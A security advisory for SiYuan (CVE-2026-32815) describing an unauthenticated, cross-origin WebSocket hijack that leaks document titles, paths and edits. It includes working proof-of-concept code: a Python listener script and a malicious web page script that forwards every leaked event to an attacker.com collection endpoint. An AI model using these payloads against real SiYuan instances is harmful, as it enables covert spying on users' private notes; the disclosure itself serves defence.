github.com/siyuan-note/siyuan/kernel
Affected
- introduced
0, last affected0.0.0-20260313024916-fd6526133bb3(semver)
Fixed versions
None listed
Fix
No fixed version is listed.
Advisory
Also known as: CVE-2026-32815, GO-2026-4709
SiYuan Vulnerable to Cross-Origin WebSocket Hijacking via Authentication Bypass — Unauthenticated Information Disclosure
Cross-Origin WebSocket Hijacking via Authentication Bypass — Unauthenticated Information Disclosure
Summary
SiYuan's WebSocket endpoint (/ws) allows unauthenticated connections when specific URL parameters are provided (?app=siyuan&id=auth&type=auth). This bypass, intended for the login page to keep the kernel alive, allows any external client — including malicious websites via cross-origin WebSocket — to connect and receive all server push events in real-time. These events leak sensitive document metadata including document titles, notebook names, file paths, and all CRUD operations performed by authenticated users.
Combined with the absence of Origin header validation, a malicious website can silently connect to a victim's local SiYuan instance and monitor their note-taking activity.
Affected Component
kernel/server/serve.go:728-731serveWebSocket() → HandleConnect handlerGET /ws?app=siyuan&id=auth&type=auth (unauthenticated)Root Cause
The WebSocket HandleConnect handler has a special case bypass (line 730) intended for the authorization page:
util.WebSocketServer.HandleConnect(func(s *melody.Session) {
authOk := true
if "" != model.Conf.AccessAuthCode {
// ... normal session/JWT authentication checks ...
// authOk = false if no valid session
}
if !authOk {
// Bypass: allow connection for auth page keepalive
// 用于授权页保持连接,避免非常驻内存内核自动退出
authOk = strings.Contains(s.Request.RequestURI, "/ws?app=siyuan") &&
strings.Contains(s.Request.RequestURI, "&id=auth&type=auth")
}
if !authOk {
s.CloseWithMsg([]byte(" unauthenticated"))
return
}
util.AddPushChan(s) // Session added to broadcast list
})
Three issues combine:
?app=siyuan&id=auth&type=auth bypasses all authentication checks.util.AddPushChan(s), receiving ALL PushModeBroadcast events — the same events sent to authenticated clients.Origin header, allowing cross-origin connections from any website.Proof of Concept
Tested and confirmed on SiYuan v3.5.9 (Docker) with `accessAuthCode` configured.
1. Direct unauthenticated connection
import asyncio, json, websockets
async def spy():
# Connect WITHOUT any authentication cookie
uri = "ws://TARGET:6806/ws?app=siyuan&id=auth&type=auth"
async with websockets.connect(uri) as ws:
print("Connected without authentication!")
while True:
msg = await ws.recv()
data = json.loads(msg)
cmd = data.get("cmd")
d = data.get("data", {})
if cmd == "rename":
print(f"[LEAKED] Document renamed: {d.get('title')}")
elif cmd == "create":
print(f"[LEAKED] Document created: {d.get('path')}")
elif cmd == "renamenotebook":
print(f"[LEAKED] Notebook renamed: {d.get('name')}")
elif cmd == "removeDoc":
print(f"[LEAKED] Document deleted")
elif cmd == "transactions":
for tx in d if isinstance(d, list) else []:
for op in tx.get("doOperations", []):
if op.get("action") == "updateAttrs":
new = op.get("data", {}).get("new", {})
print(f"[LEAKED] Doc attrs: title={new.get('title')}")
asyncio.run(spy())
2. Cross-origin attack from malicious website
<!-- Hosted on https://attacker.com/spy.html -->
<script>
// Victim has SiYuan running on localhost:6806
const ws = new WebSocket("ws://localhost:6806/ws?app=siyuan&id=spy&type=auth");
ws.onopen = () => console.log("Connected to victim's SiYuan!");
ws.onmessage = (event) => {
const data = JSON.parse(event.data);
// Exfiltrate document operations to attacker
fetch("https://attacker.com/collect", {
method: "POST",
body: JSON.stringify({
cmd: data.cmd,
data: data.data,
timestamp: Date.now()
})
});
};
</script>
3. Confirmed leaked events
The following events are received by the unauthenticated WebSocket:
| Event | Leaked Data |
|-------|-------------|
| savedoc | Document root ID, operation data |
| transactions | Document title, ID, attrs (new/old) |
| create | Document path, notebook info (name, ID) |
| rename | New document title, path, notebook ID |
| renamenotebook | New notebook name, notebook ID |
| removeDoc | Document deletion event |
4. Cross-origin connection confirmed
import websockets, asyncio
async def test():
uri = "ws://localhost:6806/ws?app=siyuan&id=attacker&type=auth"
extra_headers = {"Origin": "https://evil.attacker.com"}
async with websockets.connect(uri, additional_headers=extra_headers) as ws:
print("Cross-origin connection accepted!") # SUCCEEDS
asyncio.run(test())
Result: Connection succeeds — no Origin validation.
Attack Scenario
localhost:6806) or Docker instanceaccessAuthCode configured (server is password-protected)attacker.com in any browserws://localhost:6806/ws?app=siyuan&id=spy&type=authImpact
accessAuthCode is configuredSuggested Fix
1. Remove the URL parameter authentication bypass
// Remove or restrict the auth page bypass
// Before (vulnerable):
authOk = strings.Contains(s.Request.RequestURI, "/ws?app=siyuan") &&
strings.Contains(s.Request.RequestURI, "&id=auth&type=auth")
// After: Use a separate, restricted endpoint for auth page keepalive
// that does NOT receive broadcast eventsMedium Basis: The source's own band: MODERATE
0, last affected 0.0.0-20260313024916-fd6526133bb3 (semver)None listed
No fixed version is listed.
Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0